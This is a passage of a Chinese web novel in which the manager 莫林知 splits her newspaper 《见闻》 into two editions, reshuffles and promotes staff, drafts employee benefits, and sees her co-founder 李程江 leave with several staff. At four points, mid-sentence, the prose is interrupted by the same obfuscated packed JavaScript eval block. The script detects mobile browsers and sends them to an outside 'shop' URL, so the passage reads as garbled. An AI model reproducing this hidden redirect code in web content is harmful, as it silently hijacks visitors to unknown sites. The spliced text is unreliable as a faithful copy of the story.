莫林知看向那个人：“第一、你的产品还是能在全国范围内获得更大的展示机会。第二，优势能不能保持，最终取决于产品品质。江南的东西到了北方，还是要和北方本土的商家竞争，怎么，多了几个竞争对象就觉得比不过了？第三，那些商家入驻不是免费的。使用我们的仓库，我们的派送，这些都是要花钱的！我目前规划的是每个月按照成交额的一定比例收费。另外，产品多了，想要从中脱颖而出，最好的办法是不是占据《见闻》最大最好的版面？那您觉得，是不是得花钱？” “这样的情况下，大家不妨再算算，到底是只卖自家那几款产品好，还是将自己拔到更高层次，掌握一城商家命脉更好？” 当然是后者！！！ 只要想想那个场面，在座诸人嘴角抑制不住地上扬。连翻阅手中的规划时都多了几分耐心，恨不得一字一句抠下来看。 内容很详细，将每个阶段需要达成的目标都列出来了，以及为了达成这个目标需要用到的手段、资源也都罗列了一下。从餐饮到杂货、从服饰到美妆，每个阶段都有它不同的方法去吸引那些商家。 当然，规划嘛，到真正落地的时候肯定还是会变化的，只不过有了这么一份详实的内容在手，大家悬着的心都安定很多——至少这合作伙伴看着还是很靠谱的。 莫林知陆陆续续将后续安排一五一十地讲清楚，顺带进行了一些答疑。讲到后面，感觉喉咙又开始堵死了。 她怕后面发不出声音，便提高语速，将所有事情收了尾，然后让他们去院子里选人。 那些人都是萧凛挑出来的，业务能力强又身手也好。万一到时候真发生什么，以他们自己的能力，应该也是能逃出来的。 毕竟干这一行的，没两把刷子怎么行。 ↑以上出自萧凛认证。 即便如此，莫林知还是出于人道主义，多加了一道保障：“各位，容我最后再提醒一点，您选回去的不是两个普通人，而是我底下的优秀人才和管理层预备役。他们是作为高级顾问跟着你们过去的，所以我希望本着合作基本精神，你们能保证他们的安全，若是有一人损伤，合作终止！” 莫林知拿出一份契约吸附在身侧的小黑板上，在补充条款部分点了点，意味深长道：“一旦解除盟友身份，我们就是敌人。对待敌人，我不会手软的。咱们打下点基业不容易，别一念之差，全部倾覆掉了。” 她说到最后因为嗓子支撑不住咳了咳，一副病弱相。但是只要想想这段时日在北境的所见所闻，想想刚才她的那份规划，所有人都心中一凛，丝毫不敢怀疑她的手段，于是接二连三地郑重保证： “莫管事放心，咱们契约精神还是有的。” “是啊是啊，到时候一定会让两位顾问好好回到北境。” 莫林知挥挥手，表示会议结束，然后让萧凛带他们去门外挑人。 猛灌了几口药汁，李程江从门外走了进来。她微微歪头，就见人走到她跟前，也不坐，开口就是：“我想好了，我答应你之前的方案。” 倒是毫不意外。 莫林知说不来话，只能在纸上写：想什么时候离开？ 李程江：“等你把事情都安排好理顺吧，但是尽量不要超过2周？” 2周啊······倒是够用了。 莫林知点点头，看着他出去，想了想，回到自己的办公室，从抽屉里抽出上次那份规划书，然后让晚香帮她把何梅、晚玉叫过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594016|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人进来的时候不知为何有些紧张，莫林知略略疑惑，但没多管，而是将手中的规划递了出去。两人接过凑在一起看了下，发现是一份《见闻》组织架构的调整规划，当下大大松了口气。 “我还以为······拍卖会结束了您要宣布放手了，担心了好一阵子。”晚玉笑着说。 莫林知：······ 有点无语。 正常老板都是迟到早退的，她是不是之前太劳模了，以至于偷个懒还给这些人弄出条件反射了······ 莫林知刷刷几句，在纸上写：想太多，怎么着也得物联网第二期落地才能放手。 这话一出，面前两人的眉眼都舒展平和了，像找到了丢失的老母亲的小鸡一样。 莫林知真是又无语又好笑，继续写：规划你们好好看看，然后互相商量着把人员分好报到我这边。过两天我嗓子好了会尽快跟你们把这个事情敲定下来，后面就需要你们出个远门，把下辖的见闻分部都梳理清楚了。 何梅和晚玉连连点头保证：“放心，我们明天下午就能定下来。” 莫林知：还有，北境的冬天条件艰苦，飞毛腿这边的业务和人员得单独安排，何梅，这个属于你的板块，你和底下人商量个章程出来，最好和林显萧凛那边也一起沟通沟通。 何梅点头：“我明天和晚玉把人员敲定后就去找林显。” 莫林知想想没有其他事情了，就让他们回去了。 院子里，那些同盟合作方选好人后也三三两两地告辞了，至此，拍卖会后需要厘清的大头算是解决了，剩下的就是把其他人的拍品所得的银子给各方送过去。 家大业大的那些她倒是不担心，还有些是普通百姓的，乍然暴富，很容易成为别人的目标。 莫林知让人小心处理，最好是大头给他们存到靠谱的钱庄，手上只留一点，然后再找飞毛腿的送货人员顺道给人好好送回家。 ——以上这些，她也就只能和萧凛提一提，让他去安排了。目前这副残躯病体，那真是什么也做不了的。 总之该交代的交代完，莫林知就带着晚香回了王府。 办公室最后那一会会儿，她真是感受到了什么叫“病来如山倒”。 本来还只是喉咙痛，嘴里有铁锈味，后来整个人骨头都隐隐开始酸痛起来。就像有人拿着改锥在上面敲敲打打，隔一会儿就刺痛一下，即便能忍，也很烦。 带病工作对她来说不算陌生，以前胃不好，经常痛到浑身冒冷汗也要继续写方案，见供应商，开复盘会等等——但这些，都是因为顶头上司是个神经病，她不好频繁请病假，否则动不动就“最近有点松懈啊，马上就述职了，你也不要让我失望。”“今年你们部门可是我唯一的指望了，你可别掉链子”之类的。 她不是不清楚这些是老板洗脑的手段，但是职场混，只能妥协。 现在不一样了，一切她说了算。 她想好好把自己当个人，而不是给别人赚钱的机器。 更不想把带病工作这种恶习带入她开创的职场。 103. 架构调整 这一休息就连休了4天，这4天里，虽然莫林知人没到，但事情都有条不紊地进行着。 第一天，晚玉和何梅私下将人员的重新分配弄好了，商量的结果交由晚玉晚上带给了她。她看着每个部门下的人员，以及人员旁大约百来字的长短处介绍，感觉应该是没什么问题的。 第二天，何梅带着人去找了林显和萧凛，跟他们讨论冬季的飞毛腿运营问题和解决方案。由于双方的时间比较紧凑，所以这个议题持续到了第三天才算完。 第四天，收到莫林知飞鸽传书的齐铭回来了，接近下工时间去了见闻报到，给了众人好大一个惊喜。 第五天，嗓子好了很多的莫林知再次开工了。 几日不见，她到见闻的第一步，就是将所有人叫到了院子里——会议室坐不下。 除了见闻的人，萧凛和林显作为飞毛腿的总管事也参与了会议。 “新人也进来有段时间了，不能上面的人都没认全，所以借着组织架构调整的机会，特地将齐管事也调了回来。今天郑重给大家介绍一下，齐铭，见闻的副总管事。” 齐铭起身冲大家示意了一下。 众人掌声还没结束，莫林知就继续开口了：“今天重新宣布几项人事变动。其一，李程江总管事将在7天后离任。李管事呢，是我当初厚着脸皮死缠烂打求回来的，没有他《见闻》不会发展得这么顺利这么迅速。但我一直都知道，李管事志存高远，不应该被这小小的《见闻》埋没。所以，现在他终于能有机会一展自己的抱负，让我们热烈祝贺他。” 说是“热烈祝贺”，但掌声稀稀拉拉的，好些人脸上闪过惊疑。 主要是太突然了，而且······在他们看来，这里谁都有可能走，李程江作为创始人之一，是绝对不可能离开的。除非······ 莫林知见状，转头冲李程江笑道：“我就说吧，这个事情让我来公布，怎么看都像是我把你给挤走了。” 李程江无奈莞尔：“除了你也没人有资格安排我的动向了啊······” 他说完看向大家：“还以为我这辈子就只能闭着眼睛混混日子了，没想到还有一展宏图的机会，要感谢莫管事。今天是个值得庆祝的日子，晚上大家看是白玉京还是火锅店，我请客！” 他的神色毫无勉强，且两人说笑打闹的神色和往常一样自然，大家这才相信是真的，顿时掌声重新响起，陈诚几人还大声叫好，转头就讨论起了晚上吃啥。 “吃火锅吧，天冷了，还是火锅舒服！” “我支持。” “齐管事刚回来，也得来顿热乎的补补身子吧~” 见他们这么快注意力就跑偏了，莫林知敲敲身侧的黑板，有些无奈：“吃的晚点讨论吧。接下来宣布几件事，和你们每个人都有关，仔细听。” 她的声音还有些沙哑，众人不敢让她病情加重，立马安静下来。 “首先是组织的变动。从明天开始，《见闻》进行拆分，分别为《见闻·优选》和《见闻·生活》。《优选》负责人：何梅。你们主要对飞毛腿的业务负责。你们要和飞毛腿这边保持紧密联系，主要的功能就是帮助他们更好的卖货。但有一点我要说明，你们不是辅助，而要起到主导作用。” “同样是这么几张纸，每一版面的排版该怎么安排更吸引人，里面的产品应该放哪一些······这些都是需要慎重考量的。你们要综合飞毛腿的历史销售数据，实时销售数据，他们的趋势是上升还是下滑，季节、节日的影响等等，全部要考量清楚。何梅，这两天带着你的人，先画几版草图出来，我们争取这几天内敲定。” “是。” “还有内容，不是说枯燥地把产品的功能价格介绍清楚就行的。你要知道，这几张纸就是你的战场，如何在这个场域内俘获更多人成为你的支持者，靠的还是你内容的吸引度。只不过这种内容，更贴近百姓的需求。”莫林知想了想，举了个例子，“比如说我我今年夏天，买得最好的是梨，那我明年这个时候，是不是可以给这个梨做一个生长追踪？让民众通过你的文字，好像亲眼看到了这个梨的成长过程。你代入想想，都关注了这么久，等上市了，是不是高低得尝尝？” “前几天呢，我跟那些合作方也说了，飞毛腿后续将引进更多商家进驻我们的物联网体系。这商家一多，想要脱颖而出，是不是就得找你们写专稿？但是，这篇专稿值多少钱，就看你们前期的笔杆子，能吸引多少民众了。” “何梅，你来宣布你选中的人员。” 莫林知说完后回到了自己的位置坐下，润润嗓子。何梅上前，站在她刚才的地方，精神振奋地大声宣布着自己的组员：“《见闻》优选商务部，农产品类：徐林，餐饮类：许星兴······” 何梅每念到一个，底下就有一个人起身，站到了她身边。等到所有名单念完，何梅带着前前后后三排人，大声宣告：“我们的目标，是让《见闻·优选》成为每家每户的生活好帮手！加油！” 志气蓬勃的样子，真的看着就想打心底微笑。 莫林知和大家一起鼓掌，待她们回去落座，然后起身继续宣布：“《见闻·生活》负责人：晚玉。你们的主要任务和之前基本不变，还是以承接商家的营销项目为主，但是项目之外，你们要有自己的主线。” “晚玉，你也一样的，版面的安排，功能分区这些，想清楚，草图交上来。但是在草图之前，你更要先想好自己的主线内容是什么。不管是从过去的销量数量里分析还是去大街上拉着路人一个一个填问卷调查，你都要想尽办法挖掘群众的业余喜好，消遣娱乐等等。” “你的内容，按理说选择面更广， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616959|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以就很容易进入一个误区：这一期我放一个行业干货，下一期发现城里流行其他的去了，我也就跟着变了——这样是不行的，会很乱。你要想清楚你的目标受众的年龄、职业、家庭成分等等，然后给自己找准一个定位。明白吗？” “明白！” “嗯，那你上来宣布你的组员。” 晚玉昂首挺胸，铿锵有力的地念出她这一组的名单，心中的激动简直要从眼里溢出来。 同样的宣誓过后，莫林知看着底下或兴奋或忐忑的众人，微微一笑：“接下来宣布具体的人事变动，齐铭，依然担任北境《见闻》的中级管事，总理《见闻·优选》和《见闻·生活》。这段时间，你带着两组人员现将定安城的业务梳理清楚，后续以定安为中心向周边辐射，一点点将架构和业务调整过来。” 齐铭起身作揖：“是，我会竭尽全力完成任务。” “何梅，《见闻》的初级管事，《见闻·优选》的总管事；晚玉，《见闻·生活》总管事；龚煊，《见闻·生活》副管事；韩梅，《见闻·优选》副管事；陈诚······” 一个一个熟悉的名字从莫林知嘴里念出，最后基本上老员工都获得了一个title，至于新人，虽然暂时没升，但有远见的都知道，只要好好做，这是最容易获得回报的阶段。 内部的安排都宣布完了，最后，莫林知冲坐在最角落的几人招招手，让他们都站到了台上，然后冲底下人笑了笑：“这几位是新入职的人员，算是交流学习的，他们会在每个部门轮岗一个月。嗯······何梅，从你的《优选》开始轮吧，你等会儿安排一下。” “好。”何梅起身应下。 作为拍卖会筹备的主负责人，何梅是知道这几个人的身份的。 这件事莫林知之前托晚玉带过手信给她，示意该教的可以教，但是机密数据不能泄露。所以，现在也就是在底下人面前走个过场。 其余人听了，这才明白，一大早就坐在院子里喝茶的这几个人是干嘛的。 他们也不傻，知道能来“交流学习”的肯定身份背景不简单，不过没往“质子”方面想，只以为是哪个大户人家托关系来这里历练来了。 毕竟龚管事好像和其中一人是熟识嘛~ 被认作是本地大户之一的龚·挡箭牌·煊：······ 该说的说完，莫林知最后拍拍手，利落收尾：“以上就是今天的全部内容。我知道，大家面临的挑战和压力不小，所以今天，等会把位置什么的挪换好了就下工吧，我们直奔火锅店！” “噢耶！！！！！”众人高声欢呼~ 看着他们热热闹闹高高兴兴的样子，没有被这波调整影响太多，莫林知心里也安定了很多。 《见闻》的分刊是大势所趋，赶在这个节骨眼，确实是她心急了一点。 104. 分枝 奔着这顿火锅，大家搬座位搬得毫不含糊。 隔着几堵墙的距离，莫林知还能听到隔壁有人鬼哭狼嚎：“小青，今天我们就要远离~但你放心，我的身，我的心，永远和你在一起~~~”然后被一个粗犷的男声用一声“滚”打了回去，引起一片“哈哈哈哈”的笑声。 听着那热热闹闹的劲头，莫林知感觉这不像是职场，像读书时高中分班！ 心态都年轻了。 笑了笑，她交代晚香：“让齐铭、何梅和晚玉座位搬好了来我这，其余人顺带把办公室的卫生收拾收拾，争取半个时辰后出发。” 晚香领命去了，过了会儿，齐铭三人进了来。 莫林知将手中的一份职工福利单给到他们：“目前见闻总部分部加起来人也挺多了，就不能像之前一样进行小作坊式管理。这份职工规章约束和福利你们看看，有些现在合适的就挑出来用用，不合适的就先压一压。定下来后这个东西就补充到大家的雇佣契约里面去，让大家补签一下。” 齐铭三人暂时没回答，都沉浸在眼前这份单子上。 单子写了很多。 每日上下工的时间，中午午休的时间，以及每半月休1天这些基本都和当下的规定是差不多的。但是除了这些，上面还给每个人安排了病休假、年休假，根据入职年限的不同而有所区分，比如1-5年的职工，病休假5天，凭任意药房的诊单即可像上级申请，薪水只打6折，不全扣；年休假3天，无需任何理由，不扣薪水。 还有每个节日的节礼，规定了人均费用，可以直接发红包，也可以由账房采购柴米油盐等用品进行发放。 甚至还有上工时间外的加班制度，可以在下个月结束前进行调休。但是加班的申请和凭证需要上级以及上上级审批才行。 诸如此类的还有很多，比如每个人头每个月的“团队建设费”等等。 总的来说，就是—— “这会不会太优渥了？” 齐铭&何梅&晚玉发出灵魂质问。 莫林知挑眉：“所以我说了，不要一次性全部放出去，你们看着进行补充。这每一项福利归根结底涉及到的都是钱！你们在做决定前，至少要明白手中的业务每个月营收多少，增加一项福利会增加多少成本，人员效率是不是能够弥补这块的损失等等，我只是把我想到的列出来了给你们一个参考，具体要不要落地，怎么落地，是你们的事情。” 说到这里她敲了敲桌子：“对了，都说新官上任三把火，这个福利别说我提的，就以你们的名义发放下去，我就负责签个字。另外，招一个账房吧，总是跟王府借人也不太好。” “好，我明天尽快安排。” “不着急，这个重点不在快，而在稳。发福利是好事儿，但如果流程这些没考虑清楚，让人钻了空子那就变成坏事儿了。还有之前我跟何梅讲过内部人员的晋升通道设置，正好，这次架构大调整，你们三个也一起讨论讨论，完善出一个方案来。” “这工作要是没有奔头，时间久了就会变成磨洋工混日子，哪怕当下升不了职，也可以加薪。但是每一档加多少，也是个学问。反正，你们三个好好想想，当务之急还是先把业务理顺了，这些年前给我个方案就行。到时候，当做新年喜讯宣布出去，也算是给大家一个好兆头。” “是。” 大的事情谈完了，莫林知转向何梅：“何梅，我明天先跟你过飞毛腿的冬季人员安排。” “收到，明天上午可以吗？下午我想约下面的人讨论版面的事儿~”何梅征询。 “没问题，就上午，你把林显和萧凛一起叫上。” “收到。” 莫林知没其他事情了，当下挥挥手，让他们三出去了。 隔着一段距离，还能看到他们脑门上的细汗。 本来嘛，见闻拆分，三人升职，从之前的小管事变成现在的总览大权，心里还蛮激荡的。现在倒好，往莫林知办公室走了一趟，脑子立马清醒了——从之前那种飘飘然的状态中回到现实了，对接下来要做的事情也有了方向。 更有甚者，何梅和晚玉感觉自己好像摸到了管理层的能力核心——不是做好眼前一个两个项目，更重要的是，要从全局视角看整个团队的效率，要了解每个人的能力、状态，想办法提升团队凝聚力，然后从整个团队的角度看人效和绩效。 但是具体应该怎么做，这对她们来说还是一个长远的课题，得慢慢尝试，慢慢总结。 当下嘛······当然还是做好眼前事务。 几人在各自的工作簿上列好近期待办事项以及每一项的deadline，然后根据紧急/重要用符号做了区分，心里就差不多有数了。 正好门外响起了大家伙准备出发的呼唤，三人把本子往抽屉一丢一锁，默契一笑，毫无包袱地轻松出了门。 ——莫管事教过，事情嘛，只要尽在掌握，那就该吃吃该喝喝该玩玩，没什么好烦恼的~ 他们这一行人多，又去得突然，这要是晚上，那指定是没位置，幸好是中午，才没落得转战其他店的下场。只不过几十个人，坐包厢吧，不利于联络感情，做大堂，还真没有连在一块儿的座位了。 莫林招来小二，指着角落的那两桌道：“帮我们问问，我请他们挪到包厢，再送几份菜品行不行？” 小二连忙去了，过了会儿，应该是沟通好了，他招来其他小二，帮着这两桌挪地方，不过没去二楼，而是就近挪到了一楼的其他位置。 莫林知便过去当面致了谢意，这才带着其他人在角落那几张桌子上落座。 待得大家都做好，小二一边给他们送上茶水小点心，一边将菜单递了上来：“各位客官，本店近日推出了冬季食补锅底，采用整只养了3年以上的老母鸡，加上各种药材熬制而成，保管您吃了这几天晚上都睡得好，手脚暖乎。要不要试试？” 众人没说话，纷纷看向莫林知。 对上几十双嗷嗷待哺的眼睛，她笑道：“看我干嘛？别忘了，今天李管事才是大财主！” 众人一下子哄笑开了，于是纷纷转移目光起哄：“李管事，每桌来一个吧？” “我没问题~这样吧，我们每桌各点各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616960|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，大家随意点，放心，吃不垮我。” “大气！” “李管事家底厚实！” 众人好话一箩筐地往外蹦，最后被李程江笑骂：“行了，低调点，公共场合呢，点你们的菜吧！” 大家哄笑一声，开始拉着小二七嘴八舌地点菜，每桌还叫了两壶酒。 这热菜热酒一下肚，把心门都给烫开了，什么话都敢说，还有新人冲到了莫林知面前表达景仰之情。 莫林知是真的着实惊讶了一番——这个新人平时一副闷声不吭的样子，还以为是拿笔杆子拿多了所以不太会“说话”了，没想到一开口搞了个大的。 希望他明天醒酒了不后悔吧。 莫林知笑着以茶代酒跟人碰了一杯，然后就拎起东西准备走了——她的身份到底不一样，坐这里还是会让人有些拘束。而且，她也正在降低自己对见闻的影响力来着，不能半途而废。 和她一起离开的还有李程江。两人披着斗篷，也不坐马车，就这么顺着大路慢悠悠地散步，不知不觉，就走到了最开始，李程江卖《风月见闻》的地方。 对街那个摊位还在，看着也是书摊。莫林知走过去，发现都是些话本。 “怎么都是这些？” “这你就不懂了，这个摊子的风水就适合卖这个。”摊主神神秘秘地，“《见闻》知道吧？它的前身就是在这里卖火的，后来被人看中它的价值，就连人带书一起包圆了，这不，才有了现在的《见闻》。你看看现在《见闻》多火爆，这说明什么？说明这个摊位，有点子玄妙的。” 莫林知：“······你们不是挺避讳风水这些的？” 摊主一摆手：“嗨，谁不知道那道观的观主做出了干冰买了大价钱啊，现在还有啥可避讳的，人本事大着呢。” 莫林知：万万没想到，干冰居然还能改变人的信仰。 哦不对，应该说钱改变了人的信仰。 莫林知随手挑了两本，然后边走边翻了翻，忍不住啧啧点评：“落于流俗了，和你当初的笔触完全不同。” “你对我是真有信心。”李程江无奈失笑，“当初殿试，我的试卷可是被当庭黜落。” “可能是太辛辣，碍了那些人的眼吧。”莫林知斜眼一瞥，“‘宁折不弯’虽然可贵，但万一真的‘折了’，那就什么都做不了了。李程江，事缓则圆，很多时候，别太着急了，得慢慢来的。” 这话一出，李程江“哈哈”笑了，他指着莫林知笑说：“你一个急性子中的急性子来劝我‘事缓则圆’？可别了，一点说服力都没有。” 莫林知翻了个白眼，决定今天大人不记小人过。 两人又安静地走了会儿，莫林知又问：“团队想好了吗？” “有一个预备人选，不过，他可能不会答应。” “哦？还有你请不动的人？”莫林知有点点好奇，但没多问。眼见着前头就是王府了，她拍拍好友的肩，鼓励道，“加油！有任何需要支持的都可以找我。” “那当然，不找你找谁！” 两人相视一笑，挥手作别。 105. 成长 “有任何需要支持的都可以找。” 3天后，莫林知看着站在面前的李程江，恨不得把之前说的这句话一个字一个字地吞回去。她真的气笑了：“你自己要走不算，还把我这儿的骨干带了几个走！我这儿的组织架构刚调整过你来这一出，你说说你这事儿亏不亏心啊？” 李程江将指到鼻子跟前的手推开，满脸赔笑：“那什么，话可都是你自己说的，我可没给你下套啊。再说了，平时你不是也一直跟他们说‘好好学东西，不管到了哪儿，做事的底层章法是不变的。现在学到手的本事就是你们以后做选择的底气’嘛~你自己不是挺欢迎他们能从这儿学好了往外去拼一拼的。” 莫林知：······ 她憋了又憋，忍无可忍地怒吼：“那也不是现在啊！” 李程江被声音攻击得后退了两步，见她正是怒火中烧的时候，便不说话了，自己坐了下来，慢悠悠地品茶。 过了会儿，莫林知冷静下来了，她将龚煊、韩梅、何泽叫进来，看着后面两人沉声问道：“你们真的想清楚了？见闻这边刚刚调整了福利架构，他那边可什么都没有，完全就是个空壳子，你们确定要放弃这么好的待遇去他那里？” 李程江连忙举手插了一嘴：“各种补助什么的确实没有，但是冬令时这个还是没问题的啊，他们冬天做五休二，每天正午到岗，允许工作带回家，我们也一样。” “闭嘴吧你！”莫林知冲他竖了个中指。 李程江乖乖拉上了嘴巴缝。 面前，韩梅一脸不好意思地开口了：“莫管事，这段时间真的非常感谢您的照顾，我学到了很多，也受到了您的很多鼓舞。但是李管事想做的事情是我以前只能在梦里想想的。您之前说过，不要等待别人的施舍和拯救，但凡有一丝希望，就要将话语权和主动权握在自己手里。莫管事，我想试试。” 何泽也是一脸紧张：“我······我就是想帮帮李管事，也想看看那一天是不是真的能实现。” 一个一个的，哪怕害怕莫林知不满，但神色毫无动摇，显然是考虑清楚了。 至此，她还能说什么呢，长叹一声应允了：“下午找你们各自的管事说一声，手头的事情全部交接清楚知道吗？” “知道知道，您放心，一定不耽误现在的事情。” “行了，下去吧。”莫林知挥挥手，连同李程江一起“扫地出门”了。 待到其他人走了，龚煊上前一步，低声道：“你怎么不问我？” ——就知道会这样！ 莫林知闭了闭眼，抬头，平静直视着他：“因为我觉得没必要。李程江虽然心怀大义，但正义感过分强烈，容易出事，在利弊权衡这一点上，你比他厉害。你们俩合作，在我看来，是刚好互补的一对。” “······权衡利弊······原来你是这么看我的。我并不是因为知道萧衍喜欢你才放弃的。” “我知道，你是败给了我。”莫林知垂下眼帘，落在他紧攥的拳头上，脸上闪过一丝无奈。再抬头时，她已经换上恳切柔和的眉眼，“龚煊，最开始，我赏识你的才华但并不认可你的人品，从沧澜回来之后，我看到了你的转变，说真的，很惊讶，让我刮目相看，且有些欣赏。” “那——” “但我们绝无可能。”莫林知断然开口，利落斩断任何含糊不清的缠丝。 她略顿了顿，看着对方瞬间晦暗的面容，还是继续把话挑明了：“不喜欢就是不喜欢，甚至说哪怕是喜欢，在我这里也占不到那么大的分量。龚煊，你已经站在了很多很多人的终点，不妨放开眼界，你会发现，这世界上有很多事情，比感情更值得争取。” “比如呢？你想要的是什么？” “选择的自由。选择生活的自由，选择放弃的自由，选择努力的自由。”说到这里，莫林知自嘲地笑了下，“但很残酷的是，这么美妙的梦，却偏偏扎根在金钱和权利这么现实的土壤之上才有实现的可能。” “所以你才会给萧衍做事？” “对！” “那······” 莫林知食指竖在唇前，止住他未竟的话语。 她知道他想问什么。无非是萧衍如果成功，会成为一国之主。那个位置，那个宫廷，是天底下最没有自由的地方。感情与梦想相悖，她会怎么选。 虽然现在已经有了答案，但莫林知的风格是，不到最后接盅的那一刻，什么都有可能，所以别急着下定论。 她微微一笑，轻声开口：“你听过一句话吗？前途比爱情重要，爱情比前途难得，但最后你会发现，真正对的人，一定会站在你的前途里*。” 龚煊听了，有一点了悟，一点恍然，几息之后，脸上还泛起一丝震惊：“你······你不会是想让萧衍······” “嘘——揭盖之前，万事皆有可能。”莫林知冲他眨眨眼，不再在感情上纠结，而是冲他伸出了手，“龚煊，来日你势必要主政一方。我真诚希望，北境带给你的，是登顶的云梯，是鹏程的翅膀。祝你将来，百姓拥护，青史留名。” 青史留名······ 龚煊难以言说内心的复杂，但他深深意识到，自己这单方面的仰慕，确实绝无可能了。 西南王唯一的世子，绝无可能放弃权利，抛下所有的责任和义务。 龚煊抿抿唇，回握了那只手：“谢谢，以后还是朋友？” “当然。” 那天说开以后，莫林知终于不用再动不动就面对一双幽暗注视的双眼，整个人都轻松很多。但这三个人的离开还是给何梅和晚玉造成了一定的困扰。 尤其是何梅，一下子走了2个老人，后面几天对接都有点应接不暇。颇感抱歉的李程江连续给他们点了几天的下午茶，也算是勉强堵住了他们抱怨的嘴。 有一天午休路过厨房，还听到何梅和晚玉蹲在灶前感叹：“真是吃人嘴软， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627391|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿人手短！哎，太难了。” 莫林知笑着悄悄离开，没打扰她们吃饭。 她以为何梅会再招人的，没想到几天过去，李程江都带着人离开了，优选半点问题都没有，反而还交出了一份完美的答卷——第一期内容草图出来了，纯手绘手抄版。 何梅拿着这两张纸的内容过来时，脸上满是志在必得的笑容：“莫管事您看看，这个是第一期的最终效果。头版我放了飞毛腿的冬令时运作消息，这样可以让大家心里有数，同时嘛，还能制造点紧迫感，刺激一波购买。所以在右侧，我加了一个‘过冬必囤榜’，把每个类目的第一名都放到这里。” “后面就按照类目进行分类了，除了产品的展示之外，每个类目也有一个类目排行榜，方便大家做选择。不过考虑到我们目前的货源有限，我还在每个类目下加个一个小贴士，提醒大家还有什么是可以囤的，不过没写具体商家名。” 这个排版之前莫林知就敲定没问题的，这次具体内容一出来，好像更有感知了。 她先是看了下整体的视觉：重点突出，主次分明，简直完美！然后再看看具体内容，商业但又不失温情，确实做到了她之前说的“让《优选》成为家家户户生活的好伙伴”。 重点是“伙伴”的态度体现出来了。 “没问题，校对部核对过没有疏漏就下印吧。” “好嘞~我等会儿下工回家顺路带给印刷坊那边。”何梅喜滋滋地小心叠好。 “你们效率挺高啊，还以为走了两个人，得迟2天的。” 何梅嘿嘿一笑：“都是跟您学的，‘挑战等同机遇’嘛~马上就要年底述职了，我看他们工作量其实都还行，与其招新，不如好好从现有的人里挑两个培养，就跟他们说这次述职我们有2个晋升名额。” “可以啊！新鲜热乎的饼~”莫林知赞叹的同时还不忘提醒，“你自己的述职可得好好弄。到你们这个层级，述职就不只是给内部人看了，到时候王爷、飞毛腿还有火锅店那边可都盯着的。” “放心，我一定提前弄好给您看看，不丢您的脸~” “行，那我拭目以待，你忙吧~” 何梅呲牙笑笑，宝贝地抱着东西出去了。 看着变化越来越大的何梅，莫林知感慨了几秒，然后收拾东西准备下班~结果没都还没出呢，就被晚玉堵回了座位：“莫管事，耽搁您一炷香，您帮我确认下，这一期《生活》怎么样？” 莫林知：······ “到时间了，要不我回去给你看吧。” “就一会会儿，要不还是在这儿看吧。不然大家伙儿都盯着呢，我也不能让下面人失望啊对吧。”晚玉双手合十拜托再拜托，最后干脆把样稿摊开了放在她面前，然后拿起旁边的红笔插入她手中。 莫林知：······ 有种搬起石头砸自己的脚的感觉，说好的分刊后多两个负责人她可以少管一点事情的呢？？？ 106. 冬令时 《见闻》的分刊对于定安城的百姓来说是个大事儿。毕竟这几个月下来，他们都已经习惯人手一份，带着这份东西上工了。 现在突然要一分为二，虽然价钱上是降了吧，可还是引起了不少人的嘀咕。 不过这份嘀咕在他们看到了调整后的内容就慢慢变成了赞赏。 “嘿，这么弄是清晰多了哈，想买东西的就买《优选》，想凑热闹的就看《生活》。” “而且这个《优选》还提到了3天一刊，感觉以后更方便了。” 一群大老爷们在那点评这次的分刊，女人们则仔仔细细扒着《优选》看近期要囤什么，顺带讨论讨论这上面提到的“冬令时”。 “哎你们说，这东家咋这么好呢，从第一场雪开始，每天只需要上工两三个时辰就行，咱这地界这么多年了啊，从没听说还有这样的。” “不一样，我们都是在屋子里，那飞毛腿一天到晚地大街小巷的转悠吆喝，你想想外面那温度，谁扛得住啊！” “能相差多少啊，那我们屋子里也不是一天到晚地烧炭啊，也就是图个人多的热乎气儿。” 